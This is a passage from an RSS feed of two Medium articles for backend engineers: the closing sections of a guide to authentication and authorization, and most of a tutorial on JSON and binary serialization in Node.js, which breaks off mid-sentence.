JWT secrets or allowing the token to choose its own verification algorithm.</p><p>JWT claims are also frequently under-validated. A valid signature doesn’t mean the token is appropriate for your application. Issuer, audience, expiration, and other relevant claims still need to be checked.</p><p>Long-lived access tokens increase the damage caused by token theft, while refresh tokens that are never rotated remain useful to an attacker for too long.</p><p>Hard-coded credentials create another obvious problem. Secrets committed to source control can survive in Git history even after the offending line is removed.</p><p>CORS is another area that is frequently misconfigured. Authentication doesn’t become secure simply because the API has an Authorization header. Browser-origin policies still matter.</p><p>Finally, authentication events need to be observable. Successful logins, failed logins, password changes, MFA events, suspicious token reuse, and other security-relevant actions should generate appropriate audit information.</p><h3>Part XXIX: Stateful vs Stateless</h3><h3>41. Choosing Between Sessions and JWTs</h3><p>The choice between sessions and JWTs is not a question of which technology is universally better.</p><p>Stateful sessions provide centralized control.</p><p>If a user needs to be logged out immediately, the server can delete the session.</p><p>JWTs provide independent verification.</p><p>Each service can validate a token without consulting a central session store on every request.</p><p>That makes JWTs attractive for distributed APIs, mobile applications, and environments where independent verification is valuable.</p><p>The trade-off is revocation.</p><p>A session can disappear immediately.</p><p>A JWT normally remains valid until it expires unless you introduce another mechanism such as a revocation store.</p><p>A useful starting point is therefore:</p><pre>Traditional Web Application<br>        ↓<br>Stateful Session<br>        +<br>HttpOnly Cookie</pre><p>For APIs and mobile applications:</p><pre>Short-lived Access Token<br>        +<br>Refresh Token</pre><p>For larger systems, a hybrid architecture is often appropriate.</p><p>The browser might use a stateful session while internal services communicate using signed tokens or service credentials.</p><p>The important thing is to choose based on your requirements rather than simply following whatever authentication mechanism is currently popular.</p><h3>Part XXX: A Practical Production Architecture</h3><h3>42. Putting Everything Together</h3><p>A realistic backend architecture might look like:</p><pre>                         ┌─────────────────┐<br>                         │     Browser     │<br>                         └────────┬────────┘<br>                                  │<br>                         HTTPS + Cookie<br>                                  │<br>                                  ▼<br>                         ┌─────────────────┐<br>                         │    Web / BFF    │<br>                         └────────┬────────┘<br>                                  │<br>                    ┌─────────────┴─────────────┐<br>                    │                           │<br>                    ▼                           ▼<br>              Session Store               Auth Provider<br>                 Redis                  OAuth / OIDC / MFA<br>                    │                           │<br>                    └─────────────┬─────────────┘<br>                                  │<br>                                  ▼<br>                         ┌─────────────────┐<br>                         │   API Gateway   │<br>                         └────────┬────────┘<br>                                  │<br>                             User Identity<br>                                  │<br>                 ┌────────────────┼────────────────┐<br>                 ▼                ▼                ▼<br>             Orders API       Users API       Billing API<br>                 │                │                │<br>                 └────────────────┼────────────────┘<br>                                  ▼<br>                           Authorization<br>                         RBAC / ABAC / ReBAC</pre><p>There is no single architecture that every company should copy.</p><p>A traditional web application might stop at sessions and cookies.</p><p>A mobile platform may rely heavily on OAuth/OIDC and access tokens.</p><p>A microservice platform may introduce asymmetric JWT signing, service identities, policy engines, and centralized key management.</p><p>The technologies change.</p><p>The underlying responsibilities don’t.</p><h3>Part XXXI: WebAuthn and Passwordless Authentication</h3><h3>43. Moving Beyond Passwords</h3><p>Passwords have an inherent problem.</p><p>The user knows a secret.</p><p>If an attacker tricks the user into revealing that secret, the attacker can often authenticate as them.</p><p>WebAuthn changes the model.</p><p>Instead of sending a password to the server, the authenticator creates a public/private key pair.</p><pre>Device<br>              ┌───────────┐<br>              │ Private   │<br>              │ Key       │<br>              └─────┬─────┘<br>                    │<br>                    │ stays on device<br>                    │<br>                    ▼<br>                 Server<br>                    │<br>                    ▼<br>                Public Key</pre><p>During registration, the server stores the public key.</p><p>During authentication, the server sends a challenge.</p><p>The authenticator signs that challenge with the private key.</p><p>The server verifies the signature using the public key.</p><pre>Server<br>  │<br>  │ Challenge<br>  ▼<br>Authenticator<br>  │<br>  │ Sign with private key<br>  ▼<br>Signed Response<br>  │<br>  ▼<br>Server<br>  │<br>  │ Verify public key<br>  ▼<br>Authenticated</pre><p>The private key does not need to be shared with the server.</p><p>Because WebAuthn incorporates the website’s origin into the authentication process, it provides strong resistance against many phishing attacks.</p><p>This is the foundation behind modern passkey systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zI4pYzJlsBuKcuL-JrGnJg.png" /></figure><h3>Part XXXII: Zero Trust</h3><h3>44. Authentication Inside Distributed Systems</h3><p>Traditional network security often relied on a boundary:</p><pre>Internet<br>   │<br>   ▼<br>Firewall<br>   │<br>   ▼<br>Trusted Internal Network</pre><p>Modern systems are harder to fit into that model.</p><p>Applications run across cloud providers, regions, containers, service meshes, employee devices, and third-party systems.</p><p>Being “inside the network” no longer automatically means being trustworthy.</p><p>Zero Trust takes a different approach.</p><p>Every request should be evaluated according to its identity and context.</p><p>That can include:</p><pre>Identity<br>+<br>Device<br>+<br>Resource<br>+<br>Action<br>+<br>Context</pre><p>The resulting flow becomes:</p><pre>Request<br>   │<br>   ▼<br>Authenticate<br>   │<br>   ▼<br>Verify Identity<br>   │<br>   ▼<br>Evaluate Authorization<br>   │<br>   ▼<br>Apply Least Privilege<br>   │<br>   ▼<br>Allow / Deny</pre><p>This becomes particularly important when a system contains dozens or hundreds of internal services.</p><p>A request from another internal service should still have an identity.</p><p>The network location alone shouldn’t grant unlimited access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFGudC0SVK62RIjBoSoVaQ.png" /></figure><h3>Part XXXIII: Choosing the Right Authentication Model</h3><h3>45. A Practical Decision Framework</h3><p>For a traditional server-rendered web application, stateful sessions with secure HttpOnly cookies are usually a strong starting point.</p><p>For browser applications with a backend-for-frontend, a server-managed session can still provide a clean security boundary.</p><p>For mobile applications, OAuth/OIDC with short-lived access tokens and refresh tokens is a common approach.</p><p>For third-party machine integrations, API keys can be appropriate when the integration is simple and the credentials can be scoped, rotated, and revoked. OAuth Client Credentials becomes useful when a more formal authorization framework is required.</p><p>When the application needs delegated access on behalf of a user, OAuth is the relevant protocol.</p><p>When the application also needs a standardized identity layer, OIDC builds that identity functionality on top of OAuth.</p><p>For limited-input devices such as smart TVs and consoles, device authorization flows are designed for exactly this type of interaction.</p><p>For high-security environments, these mechanisms can be combined with MFA, WebAuthn, strong session controls, and centralized authorization policies.</p><p>The right answer depends on the threat model, client type, architecture, and operational requirements.</p><h3>Part XXXIV: Best Practices</h3><h3>46. What to Remember</h3><p>If you remember only a few things from this article, remember these.</p><p>Passwords should never be stored directly. Use a dedicated password KDF such as Argon2id, with unique salts and appropriately tuned parameters.</p><p>Sessions should use unpredictable identifiers and should be regenerated after login.</p><p>Authentication cookies should normally use HttpOnly, Secure, and an appropriate SameSite policy.</p><p>If cookies authenticate state-changing requests, address CSRF.</p><p>JWTs should be short-lived when used as access tokens. Validate their signatures and claims, explicitly control accepted algorithms, and don’t assume that decoding a token means it has been authenticated.</p><p>Refresh tokens should be protected and rotated.</p><p>OAuth should be understood as delegated authorization, while OIDC provides the identity layer.</p><p>Authorization should be enforced on the server. Never rely on the frontend hiding a button as a permission check.</p><p>Use RBAC when your authorization model is simple. Introduce ABAC or ReBAC when permissions depend on context or relationships.</p><p>Rate-limit authentication endpoints, protect secrets, use HTTPS, configure CORS carefully, and maintain useful security logs.</p><p>Most importantly, treat password recovery, session management, token lifecycle, and authorization as part of the authentication system rather than as unrelated features.</p><h3>Part XXXV: Quick Implementation Checklist</h3><h3>47. Before You Ship</h3><p>Before putting an authentication system into production, you should be able to answer yes to the following:</p><pre>[ ] Passwords are never stored in plaintext<br>[ ] Passwords use a dedicated KDF<br>[ ] Passwords have unique salts<br>[ ] Authentication endpoints are rate-limited<br>[ ] Session IDs are cryptographically random<br>[ ] Session IDs rotate after login<br>[ ] Authentication cookies use appropriate security flags<br>[ ] CSRF is addressed where necessary<br>[ ] JWT signatures are verified<br>[ ] JWT algorithms are explicitly restricted<br>[ ] JWT expiration is checked<br>[ ] JWT issuer is checked<br>[ ] JWT audience is checked<br>[ ] Access tokens are short-lived<br>[ ] Refresh tokens are rotated<br>[ ] Refresh-token reuse can be detected<br>[ ] API keys can be revoked and rotated<br>[ ] OAuth flows use PKCE where appropriate<br>[ ] OIDC ID tokens are properly validated<br>[ ] Authorization is enforced server-side<br>[ ] Secrets are not hard-coded<br>[ ] Authentication errors don&#39;t unnecessarily reveal account existence<br>[ ] Password recovery is protected<br>[ ] Important authentication events are logged</pre><p>This checklist isn’t a substitute for threat modeling or a security review.</p><p>It is a baseline.</p><h3>Conclusion</h3><p>Authentication and authorization are often introduced as a login problem.</p><p>They are not.</p><p>A production authentication system sits at the intersection of cryptography, browser security, distributed systems, application architecture, and authorization policy.</p><p>The entire system can still be understood through two questions:</p><pre>Authentication<br>      ↓<br>Who are you?</pre><pre>Authorization<br>      ↓<br>What can you do?</pre><p>Everything else exists to answer those questions securely.</p><p>Sessions give HTTP a memory by storing authentication state on the server.</p><p>Cookies provide the browser mechanism for carrying session identifiers and other credentials.</p><p>Password KDFs make stolen password databases harder to crack.</p><p>JWTs move claims into signed, independently verifiable tokens.</p><p>Access and refresh tokens provide a practical way to balance usability with token lifetime.</p><p>OAuth allows applications to obtain limited delegated access without asking users to share their passwords.</p><p>OIDC adds a standardized identity layer to OAuth.</p><p>API keys provide a simple mechanism for machine-to-machine authentication.</p><p>RBAC, ABAC, and ReBAC provide different ways to express authorization policies.</p><p>WebAuthn replaces shared passwords with public-key authentication and provides strong phishing resistance.</p><p>Zero Trust extends these ideas into distributed systems where network location is no longer enough to establish trust.</p><p>The important lesson isn’t to memorize every protocol.</p><p>It is to understand the security property each component provides and the trade-off it introduces.</p><p>For learning, building authentication yourself can be extremely valuable. Implementing sessions, password hashing, JWT verification, and authorization middleware forces you to understand what is happening underneath the abstractions.</p><p>For production systems, security-critical authentication infrastructure is usually not the place to reinvent everything from scratch. Mature libraries and managed identity providers exist because authentication contains years of accumulated edge cases around key rotation, MFA, recovery, session management, breach detection, and phishing resistance.</p><p>Build it yourself to understand it.</p><p>Use proven infrastructure when you need to operate it.</p><p>That distinction is one of the most useful lessons a backend engineer can learn.</p><h3>Debug Cheat Sheet</h3><pre>Authentication<br>→ Who are you?</pre><pre>Authorization<br>→ What can you do?</pre><pre>Session<br>→ Server-side authentication state</pre><pre>Cookie<br>→ Browser mechanism for storing and sending data</pre><pre>JWT<br>→ Signed, self-contained token</pre><pre>Access Token<br>→ Short-lived credential used to access an API</pre><pre>Refresh Token<br>→ Credential used to obtain new access tokens</pre><pre>Password KDF<br>→ Expensive password-derived value designed to resist guessing</pre><pre>Salt<br>→ Unique random value associated with a password</pre><pre>Pepper<br>→ Secret value kept outside the password database</pre><pre>API Key<br>→ Credential commonly used for machine-to-machine access</pre><pre>OAuth 2.0<br>→ Delegated authorization</pre><pre>OIDC<br>→ Identity layer built on OAuth</pre><pre>RBAC<br>→ Roles determine permissions</pre><pre>ABAC<br>→ Attributes determine permissions</pre><pre>ReBAC<br>→ Relationships determine permissions</pre><pre>CSRF<br>→ Forged authenticated request</pre><pre>MFA<br>→ Multiple authentication factors</pre><pre>WebAuthn<br>→ Public-key authentication using an authenticator</pre><pre>Zero Trust<br>→ Verify requests instead of assuming trust</pre><p>Authentication is not one feature you add to an application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXH19uXOYWAAYPF_FjHFlg.png" /></figure><p>It is a system underneath almost every other feature.</p><p>Once you understand how that system works, designing secure backend architectures becomes much easier.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8844e97bddf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Serialization and Deserialization: The Universal Language of Backend Engineering]]></title>
            <link>https://medium.com/@anuragdotdev/serialization-and-deserialization-the-universal-language-of-backend-engineering-8df8ce03d257?source=rss-4f0627100668------2</link>
            <guid isPermaLink="false">https://medium.com/p/8df8ce03d257</guid>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[serialization]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Conveytoanurag]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 11:47:00 GMT</pubDate>
            <atom:updated>2026-08-29T11:47:00.672Z</atom:updated>
            <content:encoded><![CDATA[<h3>From Zero to Hero: Mastering Data Transformation in Distributed Systems</h3><p>Picture this: You’re building a full-stack JavaScript application with a React frontend and a Node.js backend. Both are technically “JavaScript,” but they live in entirely different worlds.</p><p>Your frontend runs in a browser, handling DOM manipulations and user events. Your Node.js backend runs on a server, managing databases and business logic. When your frontend sends data, it’s shipping a JavaScript object. Your backend receives a string of text.</p><p><strong>The problem isn’t the language, it’s the environment.</strong> A browser object and a server object can’t magically teleport across the internet. They need a translator.</p><p><strong>The answer: Serialization and deserialization.</strong></p><h3>1. The Core Problem: Why Your Systems Can’t Talk to Each Other</h3><p>Modern applications are rarely a single program running in one environment. A typical application might have a React frontend, a Node.js backend, a database, a payment service, and several internal services.</p><p>Each of these components has its own runtime and memory space.</p><p>A JavaScript object exists inside the memory of a particular application. When the frontend needs to send that object to the backend, the object itself cannot simply be transferred across the network.</p><p>The data has to be converted into a representation that can travel across the network and be understood by the receiving system.</p><p>This is the fundamental problem that serialization solves.</p><h3>2. The Solution: Serialization and Deserialization</h3><p>At their core, these two processes solve a simple but critical problem: <strong>data transformation across network boundaries.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s3aZYo1IFRyqd9e50L9Urw.png" /></figure><h3>Serialization</h3><p>Serialization is the process of converting native in-memory data structures, such as a JavaScript object or array, into a standardized string or binary format that can travel across the network.</p><h3>Deserialization</h3><p>Deserialization is the reverse process. It takes that standardized format and reconstructs it back into native data types that your programming environment understands.</p><p>The basic flow looks like this:</p><pre>┌─────────────┐    Serialize     ┌──────────────┐    Network    ┌─────────────┐    Deserialize  ┌─────────────┐<br>│   Client    │ ──────────────── │   JSON/      │ ────────────  │   Server    │ ──────────────  │   Native    │<br>│  (Object)   │                  │   Protobuf   │               │  (String)   │                 │  (Object)   │<br>└─────────────┘                  └──────────────┘               └─────────────┘                 └─────────────┘</pre><p>Think of it like shipping a piece of furniture internationally. You carefully disassemble it during serialization, ship the flat-packed components across the world, and the recipient reassembles it during deserialization. The flat-packed format is the universal standard everyone understands.</p><h3>The Serialization Landscape: Choosing Your Standard</h3><p>Serialization formats generally fall into two broad categories.</p><p><strong>Text-based formats</strong> include JSON, YAML, and XML. They are human-readable, easy to debug, and have universal support. The trade-off is that they are generally more verbose and slower to parse.</p><p><strong>Binary formats</strong> include Protobuf, Avro, and MessagePack. They are highly compact, fast, and can provide strong typing. The trade-off is that they are not human-readable and generally require schema management.</p><h3>3. Deep Dive into JSON: The Industry Standard</h3><p>If you’re building traditional HTTP REST APIs, JSON will be your daily bread and butter. It’s become the industry standard for good reasons.</p><p>JSON is language-agnostic, meaning every modern programming language has robust JSON support. It is human-readable, which makes debugging much easier. It is ubiquitous and is used not just for API communication, but also for logging and configuration files. It is also particularly convenient in Node.js because JavaScript has native support for JSON parsing and serialization.</p><h3>JSON’s Strict Syntax Rules</h3><p>Don’t be fooled by its readability. JSON has rigid rules.</p><pre>{<br>  &quot;name&quot;: &quot;John Doe&quot;,<br>  &quot;age&quot;: 30,<br>  &quot;is_active&quot;: true,<br>  &quot;hobbies&quot;: [&quot;reading&quot;, &quot;coding&quot;],<br>  &quot;address&quot;: {<br>    &quot;city&quot;: &quot;San Francisco&quot;,<br>    &quot;zip&quot;: &quot;94105&quot;<br>  }<br>}</pre><p>There are a few important rules to remember.</p><p>Objects must start with { and end with }. All keys must be strings wrapped in double quotes. Trailing commas are not allowed, unlike JavaScript objects. Values are limited to strings, numbers, booleans, arrays, objects, and null.</p><h3>4. The End-to-End Workflow: A Node.js Journey</h3><p>Let’s trace a real-world request through the entire pipeline using Node.js on the backend.</p><h3>Step 1: Client Prepares the Data</h3><p>Your React frontend collects user input from a form:</p><pre>const userData = {<br>  name: &quot;Sarah Chen&quot;,<br>  email: &quot;sarah@example.com&quot;,<br>  age: 28<br>};</pre><p>At this point, userData is a normal JavaScript object existing in the browser&#39;s memory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8a8XUYWbih_fASIckODEBQ.png" /></figure><h3>Step 2: Serialization on the Client</h3><p>The frontend converts the JavaScript object to a JSON string:</p><pre>const jsonString = JSON.stringify(userData);<br>// Result: &#39;{&quot;name&quot;:&quot;Sarah Chen&quot;,&quot;email&quot;:&quot;sarah@example.com&quot;,&quot;age&quot;:28}&#39;</pre><p>This JSON string gets attached to the HTTP request body.</p><h3>Step 3: Network Transmission</h3><p>The JSON string travels across the internet, broken down into bits and reassembled at your Node.js server.</p><p>The server does not receive the original JavaScript object from the browser. It receives the serialized representation.</p><h3>Step 4: Deserialization on the Node.js Server</h3><p>Your Express server receives the request. Using middleware like express.json(), it automatically parses the JSON string into a native JavaScript object.</p><pre>const express = require(&#39;express&#39;);<br>const app = express();</pre><pre>// Built-in middleware that handles deserialization automatically<br>app.use(express.json());</pre><pre>app.post(&#39;/api/users&#39;, (req, res) =&gt; {<br>  // req.body is ALREADY a JavaScript object<br>  // deserialization happened behind the scenes!<br>  const user = req.body;</pre><pre>  // user = {<br>  //   name: &quot;Sarah Chen&quot;,<br>  //   email: &quot;sarah@example.com&quot;,<br>  //   age: 28<br>  // }</pre><pre>  console.log(`Processing user: ${user.name}`);<br>  // ... business logic here<br>});</pre><p>If you weren’t using middleware, manual deserialization would look like this:</p><pre>const user = JSON.parse(req.body);</pre><p>Here, JSON.parse() manually converts the raw JSON string into a JavaScript object.</p><h3>Step 5: Business Logic Processing</h3><p>The server processes the data, perhaps saving it to MongoDB, performing calculations, or calling external APIs. Node.js’s non-blocking event loop makes this step highly efficient.</p><h3>Step 6: Serialization on the Node.js Server</h3><p>The server prepares its response, converting it back to JSON:</p><pre>const response = {<br>  status: &quot;success&quot;,<br>  message: &quot;User created successfully&quot;,<br>  userId: &quot;abc123&quot;<br>};</pre><pre>res.status(201).json(response);</pre><p>res.json() handles serialization and sending.</p><h3>Step 7: Deserialization on the Client</h3><p>The frontend receives the JSON response and parses it back to a JavaScript object:</p><pre>const response = await fetch(&#39;/api/users&#39;, {<br>  method: &#39;POST&#39;,<br>  headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },<br>  body: JSON.stringify(userData)<br>});<br>const responseObject = await response.json();<br>console.log(responseObject.message);<br>// &quot;User created successfully&quot;</pre><p>The complete lifecycle is:</p><pre>React Object<br>     ↓<br>JSON.stringify()<br>     ↓<br>JSON<br>     ↓<br>HTTP<br>     ↓<br>express.json()<br>     ↓<br>Node.js Object<br>     ↓<br>Business Logic<br>     ↓<br>JSON Response<br>     ↓<br>response.json()<br>     ↓<br>React Object</pre><h3>Node.js Specific Considerations</h3><p>For Node.js applications, use express.json() for automatic parsing. Always catch malformed JSON errors. Remember that JSON.parse() blocks the event loop, so streaming should be considered for large payloads. Finally, validate deserialized data with libraries such as Zod or Joi before processing it.</p><h3>Error Handling</h3><p>Handle malformed JSON gracefully rather than letting it become an unexpected server error.</p><pre>app.use((err, req, res, next) =&gt; {<br>  if (err instanceof SyntaxError &amp;&amp; err.status === 400 &amp;&amp; &#39;body&#39; in err) {<br>    return res.status(400).json({ error: &#39;Invalid JSON payload&#39; });<br>  }<br>next();<br>});</pre><h3>5. Performance: Speed Matters at Scale</h3><p>While JSON is the de facto standard, its performance can become a bottleneck under high load. As a backend engineer, you need to think about optimization at several levels.</p><h3>The Overhead of Standard Libraries</h3><p>Many default JSON libraries aren’t built for extreme performance. For instance, Node.js’s native JSON.parse() and JSON.stringify() are written in C++ and are generally fast enough for most use cases. However, for massive throughput, you might want to explore alternatives.</p><h3>Payload Size Matters</h3><p>A large JSON payload isn’t just about network transfer time. It also puts pressure on memory and CPU during serialization and deserialization.</p><p>There are several strategies that can help.</p><p><strong>Compression</strong> applies gzip to your payload. In Express, this can be implemented with the compression middleware.</p><p><strong>Data minimization</strong> means only serializing the fields that are actually necessary. Data Transfer Objects, or DTOs, are useful for this because they allow you to explicitly control which fields cross the API boundary.</p><p><strong>Efficient libraries</strong> can also help. Libraries such as fast-json-stringify can use pre-compiled schemas to improve JSON serialization performance.</p><p>For example, compression can be enabled in Express like this:</p><pre>const compression = require(&#39;compression&#39;);</pre><pre>app.use(compression());</pre><h3>The Cost of Synchronous Parsing</h3><p>JSON.parse() and JSON.stringify() in Node.js are synchronous and will block the event loop. For very large payloads, this can severely impact throughput.</p><p>One solution is to use streaming parsers that process data in chunks:</p><pre>const { createReadStream } = require(&#39;fs&#39;);<br>const { parse } = require(&#39;stream-json&#39;);<br>// Process large files record by record without loading into memory<br>pipeline(<br>  createReadStream(&#39;large-file.json&#39;),<br>  parse(),<br>  // ... handle each record<br>);</pre><p>The important distinction is that the application doesn’t need to hold the entire dataset in memory before processing it.</p><h3>6. Security: The Hidden Danger of Deserialization</h3><p>This is perhaps the most critical, and most often neglected, aspect of serialization.</p><p><strong>Deserializing untrusted data is inherently dangerous.</strong></p><h3>The Threat: Insecure Deserialization</h3><p>When your application deserializes data from an untrusted source, such as a user request, without proper validation, it can be exploited.</p><p>Attackers can craft malicious serialized objects that, when deserialized, can lead to Remote Code Execution, authentication bypass, privilege escalation, or Denial of Service.</p><p>Remote Code Execution, or RCE, means the attacker can execute arbitrary code on your server.</p><p>Authentication bypass and privilege escalation can allow an attacker to gain unauthorized access to your system.</p><p>Denial of Service can crash your service or cause resource exhaustion.</p><p>This is a well-known vulnerability covered by CWE-502, “Deserialization of Untrusted Data,” and has been the root cause of many high-profile exploits.</p><h3>The Good News: Node.js and JSON</h3><p><strong>Node.js is relatively safe from the most dangerous deserialization attacks</strong> because JSON.parse() only handles data, not code. It cannot execute arbitrary JavaScript or invoke methods on objects.</p><h3>The Bad News: The Risks Still Exist</h3><p>While you can’t get RCE through JSON alone, you still face other risks.</p><p>Malformed or unexpected data can break your business logic. Type confusion, such as array versus object confusion, can lead to bugs. Extremely large or deeply nested JSON can crash your server or cause resource exhaustion.</p><h3>Protection Strategies</h3><p>For denial of service caused by large payloads, set payload size limits in Express.</p><p>For denial of service caused by deep nesting, use parsers such as jsonparse with depth limits.</p><p>For data injection, validate incoming data with schemas using libraries such as Zod or Joi.</p><p>For protocol downgrade attacks, enforce HTTPS.</p><p>For replay attacks, use nonces and timestamps in authenticated payloads.</p><p>A simple payload size limit looks like this:</p><pre>app.use(express.json({ limit: &#39;10mb&#39; }));</pre><p>The exact limit should depend on the requirements of your application.</p><h3>7. Versioning: Handling Change Gracefully</h3><p>Your data models will change.</p><p>New features require new fields, and old clients or stored data must still work. This is the challenge of schema evolution.</p><h3>The Problem: A Moving Target</h3><p>If your backend starts expecting a new phoneNumber field, but your mobile app version 1.0 doesn&#39;t send it, your API can break.</p><p>Similarly, if you change a field’s type from string to number, older clients might send incompatible data.</p><p>This is why API and schema design need to account for change from the beginning.</p><h3>Backward vs. Forward Compatibility</h3><p><strong>Backward compatibility</strong> means newer servers can read data from older clients. For example, a v2 server accepts a v1 client’s payload.</p><p><strong>Forward compatibility</strong> means older servers can read data from newer clients. For example, a v1 server handles a v2 client’s payload.</p><p><strong>Backward compatibility is the most common and safest strategy.</strong></p><h3>Strategies for Safe Evolution</h3><h4>1. Add, Don’t Remove or Change</h4><p>When evolving an API, prefer adding new optional fields.</p><p>Avoid removing existing fields when older clients may still depend on them.</p><p>Also avoid changing the type of an existing field.</p><p>For example, an old client might send:</p><pre>// v1 (old client)<br>{<br>  &quot;name&quot;: &quot;Alice&quot;,<br>  &quot;email&quot;: &quot;alice@example.com&quot;<br>}</pre><p>A newer server can support both the old payload and the new optional field:</p><pre>// v2 (new server handles both)<br>{<br>  &quot;name&quot;: &quot;Alice&quot;,<br>  &quot;email&quot;: &quot;alice@example.com&quot;,<br>  &quot;phone&quot;: &quot;+1234567890&quot;<br>}</pre><p>The phone field is optional, so older clients don&#39;t need to send it.</p><h4>2. Version Your APIs</h4><p>Use API versioning when breaking changes are necessary.</p><p>For example:</p><pre>/api/v1/users<br>/api/v2/users</pre><p>This allows you to introduce breaking changes in a new version while maintaining the old one for legacy clients.</p><p>In Express, this could look like:</p><pre>app.use(&#39;/api/v1/users&#39;, require(&#39;./routes/v1/users&#39;));<br>app.use(&#39;/api/v2/users&#39;, require(&#39;./routes/v2/users&#39;));</pre><h4>3. Schema Validation Libraries</h4><p>Use libraries like Zod to validate and transform incoming data:</p><pre>const zod = require(&#39;zod&#39;);<br>const userSchema = zod.object({<br>  name: zod.string(),<br>  email: zod.string().email(),<br>  age: zod.number().min(0).optional(),<br>  phone: zod.string().optional()<br>});<br>const validatedUser = userSchema.parse(req.body);</pre><p>Schema validation makes the contract between the client and server explicit and ensures that invalid data is rejected before reaching the rest of your business logic.</p><h4>4. Database Considerations</h4><p>Schema evolution isn’t limited to APIs.</p><p>For stored data, consider soft deletes instead of hard deletes when appropriate. Use schema migration tools such as Knex or TypeORM migrations. During larger migrations, double-write strategies can also be used to keep old and new representations synchronized while the migration is taking place.</p><h3>8. Beyond JSON: Binary Formats</h3><p>JSON is great for human readability, but for high-performance internal services, binary formats can be a better choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qaF7MS7vq7SXUp4mF_KeLg.png" /></figure><h3>Why Go Binary?</h3><p>There are several reasons to consider binary serialization.</p><p><strong>Speed:</strong> Serialization and deserialization can be significantly faster, with some workloads reporting improvements of up to 10x.</p><p><strong>Size:</strong> Binary payloads can be much smaller, with reductions of up to 70% depending on the data and format. This means less bandwidth and storage consumption.</p><p><strong>Strong typing:</strong> Formats like Protobuf and Avro use schemas, which can help ensure data integrity and reduce bugs.</p><h3>Common Binary Formats</h3><p><strong>Protocol Buffers (Protobuf)</strong> are commonly used with gRPC and microservices. Protobuf was developed by Google and is designed to be fast, compact, and suitable for schema evolution.</p><p><strong>Apache Avro</strong> is commonly used for big data and Kafka. The schema can be embedded in the data, making Avro useful for storage and data processing.</p><p><strong>MessagePack</strong> is a general-purpose binary format with a JSON-like data model. It provides a middle ground between JSON’s simplicity and binary serialization.</p><p><strong>BSON</strong> is used internally by MongoDB. It extends JSON’s data model and supports additional types such as dates and binary data.</p><h3>Example: Protobuf in Node.js</h3><p>First, define your schema:</p><pre>// user.proto<br>syntax = &quot;proto3&quot;;<br>message User {<br>  string name = 1;<br>  string email = 2;<br>  int32 age = 3;<br>}</pre><p>Then use it in Node.js:</p><pre>const protobuf = require(&#39;protobufjs&#39;);<br>const root = await protobuf.load(&#39;user.proto&#39;);<br>const User = root.lookupType(&#39;User&#39;);<br>// Serialize<br>const payload = User.encode({<br>  name: &quot;Sarah&quot;,<br>  email: &quot;sarah@example.com&quot;,<br>  age: 28<br>}).finish();<br>// Deserialize<br>const decoded = User.decode(payload);</pre><h3>When to Use Binary Formats</h3><p>For public REST APIs, JSON is usually the better choice because human readability and broad compatibility are valuable.</p><p>For internal microservices, Protobuf or Avro can be appropriate.</p><p>For data streaming with Kafka, Avro combined with Schema Registry is a common choice.</p><p>For mobile applications where bandwidth is constrained, Protobuf or MessagePack can reduce payload sizes.</p><p>For database storage, the appropriate format depends on the database, and using the format it supports natively is often the most practical choice.</p><h3>9. Streaming: Handling Large Datasets Efficiently</h3><p>Serializing a giant dataset, such as a 1 GB database export, all at once can exhaust your server’s memory.</p><h3>The Problem: All-at-Once Serialization</h3><p>Loading an entire dataset into memory to serialize it is inefficient and risky.</p><p>JSON.stringify() on a massive object will allocate a huge string, causing high memory usage and garbage collection pressure.</p><p>The application has to hold the dataset and the serialized representation in memory instead of processing the data incrementally.</p><h3>The Solution: Streaming Serialization</h3><p>Instead of holding the entire payload in memory, you can serialize and send data in chunks or streams.</p><p>There are several approaches.</p><p><strong>Server-Sent Events (SSE)</strong> are useful for real-time updates and progressive data delivery, using the EventSource API on the client.</p><p><strong>WebSockets</strong> are useful for bidirectional streaming and can be implemented using libraries such as Socket.io or ws.</p><p><strong>Streaming JSON</strong> is useful when processing large files and can be implemented using libraries such as stream-json.</p><p><strong>The Web Streams API</strong> provides modern streaming primitives and is supported through Node.js native streams.</p><h3>Example: Streaming JSON with Node.js</h3><p>On the server, you can progressively send data instead of loading everything into memory:</p><pre>const { pipeline } = require(&#39;stream&#39;);<br>const { createReadStream } = require(&#39;fs&#39;);<br>app.get(&#39;/api/large-dataset&#39;, (req, res) =&gt; {<br>  // Instead of loading everything into memory, stream it directly<br>  const readStream = createReadStream(&#39;large-dataset.json&#39;);<br>  res.setHeader(&#39;Content-Type&#39;, &#39;application/json&#39;);<br>  readStream.pipe(res);<br>});</pre><p>On the client side, fetch() can consume the response progressively:</p><pre>// Using fetch with streaming<br>const response = await fetch(&#39;/api/large-dataset&#39;);<br>const reader = response.body.getReader();<br>while (true) {<br>  const { done, value } = await reader.read();<br>  if (done) break;<br>  // Process chunk of data without loading everything into memory<br>}</pre><p>The key advantage is that the client does not have to wait for the entire dataset to arrive before beginning to process it.</p><h3>10. Best Practices</h3><p>When working with serialization and deserialization, the format you choose should depend on the requirements of the system.</p><p>For public REST APIs, JSON is generally the preferred choice. For internal, high-performance services, Protobuf or Avro can be more appropriate.</p><p>From a performance perspective, use high-performance libraries when necessary, implement compression where it provides a benefit, and set reasonable payload size limits.</p><p>From a security perspective, never deserialize untrusted data with unsafe formats. Always validate data against a schema, and use signed or encrypted payloads when the application’s security requirements call for them.</p><p>For versioning, design schemas with backward compatibility in mind. Prefer adding fields instead of removing or changing existing ones, and use API versioning for breaking changes.</p><p>For data minimization, only serialize fields that are actually necessary. DTOs can be used to filter data and prevent sensitive information from being exposed.</p><p>Serialization and deserialization errors should always be handled gracefully, with clear and standardized error messages returned to clients.</p><p>Observability also matters. Log serialization errors and track metrics such as payload size, serialization time, and error rates.</p><p>Testing should cover schema evolution scenarios, malformed payloads, and performance using realistic data sizes.</p><p>Finally, document your API schemas using tools such as 